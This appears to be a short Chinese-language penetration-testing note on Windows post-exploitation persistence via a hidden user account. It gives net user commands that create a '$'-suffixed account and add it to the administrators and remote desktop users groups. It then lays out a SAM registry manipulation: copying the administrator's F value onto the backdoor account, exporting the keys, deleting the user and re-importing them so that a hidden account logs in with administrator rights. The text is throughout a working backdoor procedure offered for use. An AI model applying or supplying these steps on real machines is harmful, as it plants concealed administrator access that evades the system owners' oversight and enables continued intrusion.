权限维持-隐藏用户

获取shell后，使用以下方式可进行权限维持

net user test$ somepasswordhere /add /y
net localgroup administrators test$ /add
net localgroup "remote desktop users" test$ /add

使用该账号密码，成功登录
用户名后添加 $ 在 cmd 里使用 net user 查看时是可以隐藏的，但在图形界面下还是会显示
接下来操作注册表，使这个账户在图形界面中也不显示
输入 regedit 打开注册表编辑器，找到 HKEY_LOCAL_MACHINE\SAM\SAM,右键点击权限，将读写权限赋予 administrator

找到后门用户和 administrator 用户对应的目录

将 administrator 对应目录中的F值复制到后门用户对应目录中的F值

复制完成后，把 defaultuser0$ 和其对应的 0000003EA 目录导出并保存
然后删除刚才的后门用户
net user defaultuser0$ /del
然后重新导入注册表，这样就添加了一个隐藏的用户，使用 defaultuser0$ 和密码就能登陆为 administrator